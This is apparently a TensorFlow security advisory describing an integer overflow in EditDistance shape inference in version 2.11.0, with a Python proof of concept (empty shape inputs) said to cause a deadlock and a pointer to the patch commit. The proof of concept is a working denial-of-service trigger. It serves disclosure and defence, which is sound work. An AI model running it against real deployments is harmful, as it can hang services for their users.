Impact

TFversion 2.11.0 //tensorflow/core/ops/array_ops.cc:1067 const Tensor* hypothesis_shape_t = c->input_tensor(2); std::vector dims(hypothesis_shape_t->NumElements() - 1); for (int i = 0; i < dims.size(); ++i) { dims[i] = c->MakeDim(std::max(h_values(i), t_values(i))); }

if hypothesis_shape_t is empty, hypothesis_shape_t->NumElements() - 1 will be integer overflow, and the it will deadlock

import tensorflow as tf
para={
    'hypothesis_indices': [[]],
    'hypothesis_values': ['tmp/'],
    'hypothesis_shape': [],
    'truth_indices': [[]],
    'truth_values': [''],
    'truth_shape': [],
    'normalize': False
    }
tf.raw_ops.EditDistance(**para)

Patches

We have patched the issue in GitHub commit 08b8e18643d6dcde00890733b270ff8d9960c56c.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
